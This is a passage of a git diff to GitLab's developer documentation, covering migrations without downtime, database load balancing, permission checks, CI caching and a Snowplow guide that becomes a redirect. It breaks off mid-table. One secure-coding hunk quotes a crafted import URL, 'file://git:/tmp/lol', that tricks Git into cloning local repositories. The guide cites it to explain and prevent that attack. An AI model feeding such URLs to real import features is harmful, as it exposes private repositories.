[load balancing](../administration/database_load_balancing.md) to distribute this load. This allows for the replicas to grow as the pressure on the DB grows. + +By default, queries use read-only replicas, but due to [primary sticking](../administration/database_load_balancing.md#primary-sticking), GitLab sticks to using the primary for a certain period of time and reverts back to secondaries after they have either caught up or after 30 seconds, which can lead to a considerable amount of unnecessary load on the primary. In this [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56849) we introduced the `without_sticky_writes` block to prevent switching to the primary. This [merge request example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57328) provides a good use case for when queries can stick to the primary and how to prevent this by using `without_sticky_writes`. + +Internally, our database load balancer classifies the queries based on their main statement (`select`, `update`, `delete`, etc.). When in doubt, it redirects the queries to the primary database. Hence, there are some common cases the load balancer sends the queries to the primary unnecessarily: + +- Custom queries (via `exec_query`, `execute_statement`, `execute`, etc.) +- Read-only transactions +- In-flight connection configuration set +- Sidekiq background jobs + +Worse, after the above queries are executed, GitLab [sticks to the primary](../administration/database_load_balancing.md#primary-sticking). In [this merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56476), we introduced `use_replica_if_possible` to make the inside queries prefer to use the replicas. That MR is also an example how we redirected a costly, time-consuming query to the replicas. + +## Use CTEs wisely + +Read about [complex queries on the relation object](iterating_tables_in_batches.md#complex-queries-on-the-relation-object) for considerations on how to use CTEs. We have found in some situations that CTEs can become problematic in use (similar to the n+1 problem above). In particular, hierarchical recursive CTE queries such as the CTE in [AuthorizedProjectsWorker](https://gitlab.com/gitlab-org/gitlab/-/issues/325688) are very difficult to optimize and don't scale. We should avoid them when implementing new features that require any kind of hierarchical structure. + +However, in many simpler cases, such as this [example](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43242#note_61416277), CTEs can be quite effective as an optimization fence. + ## Cached Queries **Summary:** a merge request **should not** execute duplicated cached queries. @@ -459,7 +480,7 @@ Performance deficiencies should be addressed right away after we merge initial changes. Read more about when and how feature flags should be used in -[Feature flags in GitLab development](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle#feature-flags-in-gitlab-development). +[Feature flags in GitLab development](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#feature-flags-in-gitlab-development). ## Storage diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md index fcecc556052..40457dbb533 100644 --- a/doc/development/migration_style_guide.md +++ b/doc/development/migration_style_guide.md @@ -16,16 +16,12 @@ migrations are written carefully, can be applied online, and adhere to the style guide below. Migrations are **not** allowed to require GitLab installations to be taken -offline unless _absolutely necessary_. - -When downtime is necessary the migration has to be approved by: - -1. The VP of Engineering -1. A Backend Maintainer -1. A Database Maintainer - -An up-to-date list of people holding these titles can be found at -<https://about.gitlab.com/company/team/>. +offline ever. Migrations always must be written in such a way to avoid +downtime. In the past we had a process for defining migrations that allowed for +downtime by setting a `DOWNTIME` constant. You may see this when looking at +older migrations. This process was in place for 4 years without every being +used and as such we've learnt we can always figure out how to write a migration +differently to avoid downtime. When writing your migrations, also consider that databases might have stale data or inconsistencies and guard for that. Try to make as few assumptions as @@ -65,47 +61,16 @@ scripts/regenerate-schema TARGET=12-9-stable-ee scripts/regenerate-schema ``` -## What Requires Downtime? - -The document ["What Requires Downtime?"](what_requires_downtime.md) specifies -various database operations, such as - -- [dropping and renaming columns](what_requires_downtime.md#dropping-columns) -- [changing column constraints and types](what_requires_downtime.md#changing-column-constraints) -- [adding and dropping indexes, tables, and foreign keys](what_requires_downtime.md#adding-indexes) - -and whether they require downtime and how to work around that whenever possible. - -## Downtime Tagging - -Every migration must specify if it requires downtime or not, and if it should -require downtime it must also specify a reason for this. This is required even -if 99% of the migrations don't require downtime as this makes it easier to find -the migrations that _do_ require downtime. - -To tag a migration, add the following two constants to the migration class' -body: - -- `DOWNTIME`: a boolean that when set to `true` indicates the migration requires - downtime. -- `DOWNTIME_REASON`: a String containing the reason for the migration requiring - downtime. This constant **must** be set when `DOWNTIME` is set to `true`. - -For example: +## Avoiding downtime -```ruby -class MyMigration < ActiveRecord::Migration[6.0] - DOWNTIME = true - DOWNTIME_REASON = 'This migration requires downtime because ...' +The document ["Avoiding downtime in migrations"](avoiding_downtime_in_migrations.md) specifies +various database operations, such as: - def change - ... - end -end -``` +- [dropping and renaming columns](avoiding_downtime_in_migrations.md#dropping-columns) +- [changing column constraints and types](avoiding_downtime_in_migrations.md#changing-column-constraints) +- [adding and dropping indexes, tables, and foreign keys](avoiding_downtime_in_migrations.md#adding-indexes) -It is an error (that is, CI fails) if the `DOWNTIME` constant is missing -from a migration class. +and explains how to perform them without requiring downtime. ## Reversibility @@ -153,7 +118,7 @@ and therefore it does not have any records yet. When using a single-transaction migration, a transaction holds a database connection for the duration of the migration, so you must make sure the actions in the migration -do not take too much time: GitLab.com’s production database has a `15s` timeout, so +do not take too much time: GitLab.com's production database has a `15s` timeout, so in general, the cumulative execution time in a migration should aim to fit comfortably in that limit. Singular query timings should fit within the [standard limit](query_performance.md#timing-guidelines-for-queries) @@ -254,7 +219,7 @@ end **Creating a new table with a foreign key:** -We can simply wrap the `create_table` method with `with_lock_retries`: +We can wrap the `create_table` method with `with_lock_retries`: ```ruby def up @@ -289,10 +254,10 @@ def up t.bigint :project_id, null: false t.bigint :user_id, null: false t.string :jid, limit: 255 - end - add_index :imports, :project_id - add_index :imports, :user_id + t.index :project_id + t.index :user_id + end end def down @@ -302,7 +267,7 @@ end Adding foreign key to `projects`: -We can use the `add_concurrenct_foreign_key` method in this case, as this helper method +We can use the `add_concurrent_foreign_key` method in this case, as this helper method has the lock retries built into it. ```ruby @@ -512,8 +477,6 @@ class like so: class MyMigration < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - disable_ddl_transaction! INDEX_NAME = 'index_name' @@ -640,8 +603,6 @@ Take the following migration as an example: ```ruby class DefaultRequestAccessGroups < ActiveRecord::Migration[5.2] - DOWNTIME = false - def change change_column_default(:namespaces, :request_access_enabled, from: false, to: true) end @@ -715,7 +676,7 @@ the `DROP TABLE` statement is likely to stall concurrent traffic until it fails Table **has no records** (feature was never in use) and **no foreign keys**: -- Simply use the `drop_table` method in your migration. +- Use the `drop_table` method in your migration. ```ruby def change @@ -849,8 +810,6 @@ Example migration adding this column: ```ruby class AddOptionsToBuildMetadata < ActiveRecord::Migration[5.0] - DOWNTIME = false - def change add_column :ci_builds_metadata, :config_options, :jsonb end @@ -1038,7 +997,7 @@ To identify a high-traffic table for GitLab.com the following measures are consi Note that the metrics linked here are GitLab-internal only: - [Read operations](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20sum%20by%20(relname)%20(rate(pg_stat_user_tables_seq_tup_read%7Benvironment%3D%22gprd%22%7D%5B12h%5D)%20%2B%20rate(pg_stat_user_tables_idx_scan%7Benvironment%3D%22gprd%22%7D%5B12h%5D)%20%2B%20rate(pg_stat_user_tables_idx_tup_fetch%7Benvironment%3D%22gprd%22%7D%5B12h%5D)))&g0.tab=1) -- [Number of records](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20sum%20by%20(relname)%20(rate(pg_stat_user_tables_n_live_tup%7Benvironment%3D%22gprd%22%7D%5B12h%5D)))&g0.tab=1) -- [Size](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20sum%20by%20(relname)%20(rate(pg_total_relation_size_bytes%7Benvironment%3D%22gprd%22%7D%5B12h%5D)))&g0.tab=1) is greater than 10 GB +- [Number of records](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20max%20by%20(relname)%20(pg_stat_user_tables_n_live_tup%7Benvironment%3D%22gprd%22%7D))&g0.tab=1) +- [Size](https://thanos.gitlab.net/graph?g0.range_input=2h&g0.max_source_resolution=0s&g0.expr=topk(500%2C%20max%20by%20(relname)%20(pg_total_relation_size_bytes%7Benvironment%3D%22gprd%22%7D))&g0.tab=1) is greater than 10 GB Any table which has some high read operation compared to current [high-traffic tables](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L4) might be a good candidate. diff --git a/doc/development/new_fe_guide/tips.md b/doc/development/new_fe_guide/tips.md index c60d70b3b16..5d4c0fc019f 100644 --- a/doc/development/new_fe_guide/tips.md +++ b/doc/development/new_fe_guide/tips.md @@ -27,7 +27,7 @@ Your feature flag can now be: ### More on feature flags - [Deleting a feature flag](../../api/features.md#delete-a-feature) -- [Manage feature flags](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle) +- [Manage feature flags](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/) - [Feature flags API](../../api/features.md) ## Running tests locally diff --git a/doc/development/packages.md b/doc/development/packages.md index e8c326da974..d4982473d67 100644 --- a/doc/development/packages.md +++ b/doc/development/packages.md @@ -133,7 +133,7 @@ During this phase, the idea is to collect as much information as possible about - **Authentication**: What authentication mechanisms are available (OAuth, Basic Authorization, other). Keep in mind that GitLab users often want to use their [Personal Access Tokens](../user/profile/personal_access_tokens.md). - Although not needed for the MVC first iteration, the [CI job tokens](../user/project/new_ci_build_permissions_model.md#job-token) + Although not needed for the MVC first iteration, the [CI/CD job tokens](../api/README.md#gitlab-cicd-job-token) have to be supported at some point in the future. - **Requests**: Which requests are needed to have a working MVC. Ideally, produce a list of all the requests needed for the MVC (including required actions). Further diff --git a/doc/development/permissions.md b/doc/development/permissions.md index 35f0941b756..2af451840d6 100644 --- a/doc/development/permissions.md +++ b/doc/development/permissions.md @@ -120,3 +120,31 @@ into different features like Merge Requests and CI flow. | View | Vulnerability feedback | Merge Request | Can read security findings | | View | Dependency List page | Project | Can access Dependency information | | View | License Compliance page | Project | Can access License information| + +## Where should permissions be checked? + +By default, controllers, API endpoints, and GraphQL types/fields are responsible for authorization. See [Secure Coding Guidelines > Permissions](secure_coding_guidelines.md#permissions). + +### Considerations + +- Many actions are completely or partially extracted to services, finders, and other classes, so it is normal to do permission checks "downstream". +- Often, authorization logic must be incorporated in DB queries to filter records. +- `DeclarativePolicy` rules are relatively performant, but conditions may perform database calls. +- Multiple permission checks across layers can be difficult to reason about, which is its own security risk. For example, duplicate authorization logic could diverge. +- Should we apply defense-in-depth with permission checks? [Join the discussion](https://gitlab.com/gitlab-org/gitlab/-/issues/324135) + +### Tips + +If a class accepts `current_user`, then it may be responsible for authorization. + +### Example: Adding a new API endpoint + +By default, we authorize at the endpoint. Checking an existing ability may make sense; if not, then we probably need to add one. + +As an aside, most endpoints can be cleanly categorized as a CRUD (create, read, update, destroy) action on a resource. The services and abilities follow suit, which is why many are named like `Projects::CreateService` or `:read_project`. + +Say, for example, we extract the whole endpoint into a service. The `can?` check will now be in the service. Say the service reuses an existing finder, which we are modifying for our purposes. Should we make the finder check an ability? + +- If the finder doesn't accept `current_user`, and therefore doesn't check permissions, then probably no. +- If the finder accepts `current_user`, and doesn't check permissions, then it would be a good idea to double check other usages of the finder, and we might consider adding authorization. +- If the finder accepts `current_user`, and already checks permissions, then either we need to add our case, or the existing checks are appropriate. diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md index aa3f2e6791a..8a93a46247e 100644 --- a/doc/development/pipelines.md +++ b/doc/development/pipelines.md @@ -497,18 +497,20 @@ request, be sure to start the `dont-interrupt-me` job before pushing. 1. We currently have several different caches defined in [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml), with fixed keys: - - `.setup-test-env-cache`. - - `.rails-cache`. - - `.static-analysis-cache`. + - `.setup-test-env-cache` + - `.rails-cache` + - `.static-analysis-cache` - `.coverage-cache` + - `.danger-review-cache` - `.qa-cache` - - `.yarn-cache`. + - `.yarn-cache` - `.assets-compile-cache` (the key includes `${NODE_ENV}` so it's actually two different caches). 1. Only 6 specific jobs, running in 2-hourly scheduled pipelines, are pushing (i.e. updating) to the caches: - `update-setup-test-env-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - `update-rails-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - `update-coverage-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). + - `update-danger-review-cache`, defined in [`.gitlab/ci/review.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/review.gitlab-ci.yml). - `update-qa-cache`, defined in [`.gitlab/ci/qa.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/qa.gitlab-ci.yml). - `update-assets-compile-production-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). - `update-assets-compile-test-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). @@ -534,21 +536,23 @@ The pre-clone step works by using the `CI_PRE_CLONE_SCRIPT` variable The `CI_PRE_CLONE_SCRIPT` is currently defined as a project CI/CD variable: ```shell -echo "Downloading archived master..." -wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master-shallow.tar.gz - -if [ ! -f /tmp/gitlab.tar.gz ]; then - echo "Repository cache not available, cloning a new directory..." - exit -fi - -rm -rf $CI_PROJECT_DIR -echo "Extracting tarball into $CI_PROJECT_DIR..." -mkdir -p $CI_PROJECT_DIR -cd $CI_PROJECT_DIR -tar xzf /tmp/gitlab.tar.gz -rm -f /tmp/gitlab.tar.gz -chmod a+w $CI_PROJECT_DIR +( + echo "Downloading archived master..." + wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master-shallow.tar.gz + + if [ ! -f /tmp/gitlab.tar.gz ]; then + echo "Repository cache not available, cloning a new directory..." + exit + fi + + rm -rf $CI_PROJECT_DIR + echo "Extracting tarball into $CI_PROJECT_DIR..." + mkdir -p $CI_PROJECT_DIR + cd $CI_PROJECT_DIR + tar xzf /tmp/gitlab.tar.gz + rm -f /tmp/gitlab.tar.gz + chmod a+w $CI_PROJECT_DIR +) ``` The first step of the script downloads `gitlab-master.tar.gz` from @@ -576,7 +580,7 @@ overwrites the Git configuration with the appropriate settings to fetch from the GitLab repository. `CI_REPO_CACHE_CREDENTIALS` contains the Google Cloud service account -JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. (If you’re a +JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. (If you're a GitLab Team Member, find credentials in the [GitLab shared 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams). @@ -614,6 +618,7 @@ that is deployed in stage `review`. [`coverage-javascript`](https://gitlab-org.gitlab.io/gitlab/coverage-javascript/), and `webpack-report` (found at `https://gitlab-org.gitlab.io/gitlab/webpack-report/`, but there is [an issue with the deployment](https://gitlab.com/gitlab-org/gitlab/-/issues/233458)). +- `notify`: This stage includes jobs that notify various failures to Slack. ### Default image diff --git a/doc/development/polymorphic_associations.md b/doc/development/polymorphic_associations.md index cabd2e3fb41..b71e66c8671 100644 --- a/doc/development/polymorphic_associations.md +++ b/doc/development/polymorphic_associations.md @@ -74,7 +74,7 @@ different columns set) in the same table. ## The Solution -Fortunately there is a very simple solution to these problems: simply use a +Fortunately there is a very simple solution to these problems: use a separate table for every type you would otherwise store in the same table. Using a separate table allows you to use everything a database may provide to ensure consistency and query data efficiently, without any additional application logic diff --git a/doc/development/product_analytics/snowplow.md b/doc/development/product_analytics/snowplow.md index ff91e450e1e..4e2f6530126 100644 --- a/doc/development/product_analytics/snowplow.md +++ b/doc/development/product_analytics/snowplow.md @@ -1,8 +1,8 @@ --- -redirect_to: '../snowplow.md' +redirect_to: '../snowplow/index.md' --- -This document was moved to [another location](../snowplow.md). +This document was moved to [another location](../snowplow/index.md). <!-- This redirect file can be deleted after April 1, 2021. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md index 05a623448bf..09efb70f279 100644 --- a/doc/development/prometheus_metrics.md +++ b/doc/development/prometheus_metrics.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -39,8 +39,6 @@ Or, you can create a database migration: class ImportCommonMetrics < ActiveRecord::Migration[4.2] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - def up ::Gitlab::DatabaseImporters::CommonMetrics::Importer.new.execute end diff --git a/doc/development/query_count_limits.md b/doc/development/query_count_limits.md index a9569fee8cc..fec6f9022ee 100644 --- a/doc/development/query_count_limits.md +++ b/doc/development/query_count_limits.md @@ -15,30 +15,30 @@ When a test fails because it executes more than 100 SQL queries there are two solutions to this problem: - Reduce the number of SQL queries that are executed. -- Whitelist the controller or API endpoint. +- Disable query limiting for the controller or API endpoint. -You should only resort to whitelisting when an existing controller or endpoint +You should only resort to disabling query limits when an existing controller or endpoint is to blame as in this case reducing the number of SQL queries can take a lot of effort. Newly added controllers and endpoints are not allowed to execute more than 100 SQL queries and no exceptions are made for this rule. _If_ a large number of SQL queries is necessary to perform certain work it's best to have this work performed by Sidekiq instead of doing this directly in a web request. -## Whitelisting +## Disable query limiting -In the event that you _have_ to whitelist a controller you must first +In the event that you _have_ to disable query limits for a controller, you must first create an issue. This issue should (preferably in the title) mention the controller or endpoint and include the appropriate labels (`database`, `performance`, and at least a team specific label such as `Discussion`). -After the issue has been created you can whitelist the code in question. For +After the issue has been created, you can disable query limits on the code in question. For Rails controllers it's best to create a `before_action` hook that runs as early as possible. The called method in turn should call -`Gitlab::QueryLimiting.whitelist('issue URL here')`. For example: +`Gitlab::QueryLimiting.disable!('issue URL here')`. For example: ```ruby class MyController < ApplicationController - before_action :whitelist_query_limiting, only: [:show] + before_action :disable_query_limiting, only: [:show] def index # ... @@ -48,8 +48,8 @@ class MyController < ApplicationController # ... end - def whitelist_query_limiting - Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/...') + def disable_query_limiting + Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/...') end end ``` @@ -63,7 +63,7 @@ call directly into the endpoint like so: ```ruby get '/projects/:id/foo' do - Gitlab::QueryLimiting.whitelist('...') + Gitlab::QueryLimiting.disable!('...') # ... end diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md index 98b386497df..f88424287b1 100644 --- a/doc/development/rake_tasks.md +++ b/doc/development/rake_tasks.md @@ -152,6 +152,24 @@ To run several tests inside one directory: - `bin/rspec spec/requests/api/` for the RSpec tests if you want to test API only +### Run RSpec tests which failed in Merge Request pipeline on your machine + +If your Merge Request pipeline failed with RSpec test failures, +you can run all the failed tests on your machine with the following Rake task: + +```shell +bin/rake spec:merge_request_rspec_failure +``` + +There are a few caveats for this Rake task: + +- You need to be on the same branch on your machine as the source branch of the Merge Request. +- The pipeline must have been completed. +- You may need to wait for the test report to be parsed and retry again. + +This Rake task depends on the [unit test reports](../ci/unit_test_reports.md) feature, +which only gets parsed when it is requested for the first time. + ### Speed up tests, Rake tasks, and migrations [Spring](https://github.com/rails/spring) is a Rails application pre-loader. It diff --git a/doc/development/scalability.md b/doc/development/scalability.md index a9b8fb4389f..8ee6e57e4d1 100644 --- a/doc/development/scalability.md +++ b/doc/development/scalability.md @@ -36,7 +36,7 @@ application starts, Rails queries the database schema, caching the tables and column types for the data requested. Because of this schema cache, dropping a column or table while the application is running can produce 500 errors to the user. This is why we have a [process for dropping columns and other -no-downtime changes](what_requires_downtime.md). +no-downtime changes](avoiding_downtime_in_migrations.md). #### Multi-tenancy diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md index e9c95a14236..62cc2543fc4 100644 --- a/doc/development/secure_coding_guidelines.md +++ b/doc/development/secure_coding_guidelines.md @@ -565,7 +565,7 @@ In some scenarios such as [this one](https://gitlab.com/gitlab-org/gitlab/-/issu return unless user # Sessions are enforced to be unavailable for API calls, so ignore them for admin mode - Gitlab::Auth::CurrentUserMode.bypass_session!(user.id) if Feature.enabled?(:user_mode_in_session) + Gitlab::Auth::CurrentUserMode.bypass_session!(user.id) if Gitlab::CurrentSettings.admin_mode unless api_access_allowed?(user) forbidden!(api_access_denied_message(user)) @@ -581,7 +581,7 @@ In order to prevent this from happening, it is recommended to use the method `us user = find_user_from_sources return unless user - if user.is_a?(User) && Feature.enabled?(:user_mode_in_session) + if user.is_a?(User) && Gitlab::CurrentSettings.admin_mode # Sessions are enforced to be unavailable for API calls, so ignore them for admin mode Gitlab::Auth::CurrentUserMode.bypass_session!(user.id) end diff --git a/doc/development/shell_commands.md b/doc/development/shell_commands.md index f28828c2e4e..6f56e60f619 100644 --- a/doc/development/shell_commands.md +++ b/doc/development/shell_commands.md @@ -223,4 +223,4 @@ When importing, GitLab would execute the following command, passing the `import_ git clone file://git:/tmp/lol ``` -Git would simply ignore the `git:` part, interpret the path as `file:///tmp/lol`, and import the repository into the new project. This action could potentially give the attacker access to any repository in the system, whether private or not. +Git ignores the `git:` part, interpret the path as `file:///tmp/lol`, and imports the repository into the new project. This action could potentially give the attacker access to any repository in the system, whether private or not. diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md index cff199c8b1d..4bcd5e50fae 100644 --- a/doc/development/sidekiq_style_guide.md +++ b/doc/development/sidekiq_style_guide.md @@ -551,7 +551,7 @@ does not account for weights. As we are [moving towards using `sidekiq-cluster` in Free](https://gitlab.com/gitlab-org/gitlab/-/issues/34396), newly-added -workers do not need to have weights specified. They can simply use the +workers do not need to have weights specified. They can use the default weight, which is 1. ## Worker context @@ -831,8 +831,6 @@ as shown in this example: class MigrateTheRenamedSidekiqQueue < ActiveRecord::Migration[5.0] include Gitlab::Database::MigrationHelpers - DOWNTIME = false - def up sidekiq_queue_migrate 'old_queue_name', to: 'new_queue_name' end diff --git a/doc/development/snowplow.md b/doc/development/snowplow.md index f5689068654..b5d3be5b2dd 100644 --- a/doc/development/snowplow.md +++ b/doc/development/snowplow.md @@ -1,634 +1,6 @@ --- -stage: Growth -group: Product Intelligence -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'snowplow/index.md' --- - -# Snowplow Guide - -This guide provides an overview of how Snowplow works, and implementation details. - -For more information about Product Intelligence, see: - -- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/) -- [Usage Ping Guide](usage_ping/index.md) - -More useful links: - -- [Product Intelligence Direction](https://about.gitlab.com/direction/product-intelligence/) -- [Data Analysis Process](https://about.gitlab.com/handbook/business-ops/data-team/#data-analysis-process/) -- [Data for Product Managers](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/) -- [Data Infrastructure](https://about.gitlab.com/handbook/business-ops/data-team/platform/infrastructure/) - -## What is Snowplow - -Snowplow is an enterprise-grade marketing and Product Intelligence platform which helps track the way users engage with our website and application. - -[Snowplow](https://github.com/snowplow/snowplow) consists of the following loosely-coupled sub-systems: - -- **Trackers** fire Snowplow events. Snowplow has 12 trackers, covering web, mobile, desktop, server, and IoT. -- **Collectors** receive Snowplow events from trackers. We have three different event collectors, synchronizing events either to Amazon S3, Apache Kafka, or Amazon Kinesis. -- **Enrich** cleans up the raw Snowplow events, enriches them and puts them into storage. We have an Hadoop-based enrichment process, and a Kinesis-based or Kafka-based process. -- **Storage** is where the Snowplow events live. We store the Snowplow events in a flat file structure on S3, and in the Redshift and PostgreSQL databases. -- **Data modeling** is where event-level data is joined with other data sets and aggregated into smaller data sets, and business logic is applied. This produces a clean set of tables which make it easier to perform analysis on the data. We have data models for Redshift and Looker. -- **Analytics** are performed on the Snowplow events or on the aggregate tables. - - - -## Snowplow schema - -We have many definitions of Snowplow's schema. We have an active issue to [standardize this schema](https://gitlab.com/gitlab-org/gitlab/-/issues/207930) including the following definitions: - -- Frontend and backend taxonomy as listed below -- [Structured event taxonomy](#structured-event-taxonomy) -- [Self describing events](https://github.com/snowplow/snowplow/wiki/Custom-events#self-describing-events) -- [Iglu schema](https://gitlab.com/gitlab-org/iglu/) -- [Snowplow authored events](https://github.com/snowplow/snowplow/wiki/Snowplow-authored-events) - -## Enabling Snowplow - -Tracking can be enabled at: - -- The instance level, which enables tracking on both the frontend and backend layers. -- User level, though user tracking can be disabled on a per-user basis. GitLab tracking respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level. - -We use Snowplow for the majority of our tracking strategy and it is enabled on GitLab.com. On a self-managed instance, Snowplow can be enabled by navigating to: - -- **Admin Area > Settings > General** in the UI. -- `admin/application_settings/integrations` in your browser. - -The following configuration is required: - -| Name | Value | -|---------------|---------------------------| -| Collector | `snowplow.trx.gitlab.net` | -| Site ID | `gitlab` | -| Cookie domain | `.gitlab.com` | - -## Snowplow request flow - -The following example shows a basic request/response flow between the following components: - -- Snowplow JS / Ruby Trackers on GitLab.com -- [GitLab.com Snowplow Collector](https://gitlab.com/gitlab-com/gl-infra/readiness/-/blob/master/library/snowplow/index.md) -- The GitLab S3 Bucket -- The GitLab Snowflake Data Warehouse -- Sisense: - -```mermaid -sequenceDiagram - participant Snowplow JS (Frontend) - participant Snowplow Ruby (Backend) - participant GitLab.com Snowplow Collector - participant S3 Bucket - participant Snowflake DW - participant Sisense Dashboards - Snowplow JS (Frontend) ->> GitLab.com Snowplow Collector: FE Tracking event - Snowplow Ruby (Backend) ->> GitLab.com Snowplow Collector: BE Tracking event - loop Process using Kinesis Stream - GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Log raw events - GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Enrich events - GitLab.com Snowplow Collector ->> GitLab.com Snowplow Collector: Write to disk - end - GitLab.com Snowplow Collector ->> S3 Bucket: Kinesis Firehose - S3 Bucket->>Snowflake DW: Import data - Snowflake DW->>Snowflake DW: Transform data using dbt - Snowflake DW->>Sisense Dashboards: Data available for querying -``` - -## Structured event taxonomy - -When adding new click events, we should add them in a way that's internally consistent. If we don't, it is very painful to perform analysis across features since each feature captures events differently. - -The current method provides several attributes that are sent on each click event. Please try to follow these guidelines when specifying events to capture: - -| attribute | type | required | description | -| --------- | ------- | -------- | ----------- | -| category | text | true | The page or backend area of the application. Unless infeasible, please use the Rails page attribute by default in the frontend, and namespace + class name on the backend. | -| action | text | true | The action the user is taking, or aspect that's being instrumented. The first word should always describe the action or aspect: clicks should be `click`, activations should be `activate`, creations should be `create`, etc. Use underscores to describe what was acted on; for example, activating a form field would be `activate_form_input`. An interface action like clicking on a dropdown would be `click_dropdown`, while a behavior like creating a project record from the backend would be `create_project` | -| label | text | false | The specific element, or object that's being acted on. This is either the label of the element (e.g. a tab labeled 'Create from template' may be `create_from_template`) or a unique identifier if no text is available (e.g. closing the Groups dropdown in the top navigation bar might be `groups_dropdown_close`), or it could be the name or title attribute of a record being created. | -| property | text | false | Any additional property of the element, or object being acted on. | -| value | decimal | false | Describes a numeric value or something directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility). | - -### Web-specific parameters - -Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/snowplow-tracker-protocol/#Web-specific_parameters) to all web events by default. - -## Implementing Snowplow JS (Frontend) tracking - -GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. There are a few ways to use tracking, but each generally requires at minimum, a `category` and an `action`. Additional data can be provided that adheres to our [Structured event taxonomy](#structured-event-taxonomy). - -| field | type | default value | description | -|:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `category` | string | `document.body.dataset.page` | Page or subsection of a page that events are being captured within. | -| `action` | string | 'generic' | Action the user is taking. Clicks should be `click` and activations should be `activate`, so for example, focusing a form field would be `activate_form_input`, and clicking a button would be `click_button`. | -| `data` | object | `{}` | Additional data such as `label`, `property`, `value`, and `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). | - -### Tracking in HAML (or Vue Templates) - -When working within HAML (or Vue templates) we can add `data-track-*` attributes to elements of interest. All elements that have a `data-track-event` attribute automatically have event tracking bound on clicks. - -Below is an example of `data-track-*` attributes assigned to a button: - -```haml -%button.btn{ data: { track: { event: "click_button", label: "template_preview", property: "my-template" } } } -``` - -```html -<button class="btn" - data-track-event="click_button" - data-track-label="template_preview" - data-track-property="my-template" -/> -``` - -Event listeners are bound at the document level to handle click events on or within elements with these data attributes. This allows them to be properly handled on re-rendering and changes to the DOM. Note that because of the way these events are bound, click events should not be stopped from propagating up the DOM tree. If for any reason click events are being stopped from propagating, you need to implement your own listeners and follow the instructions in [Tracking in raw JavaScript](#tracking-in-raw-javascript). - -Below is a list of supported `data-track-*` attributes: - -| attribute | required | description | -|:----------------------|:---------|:------------| -| `data-track-event` | true | Action the 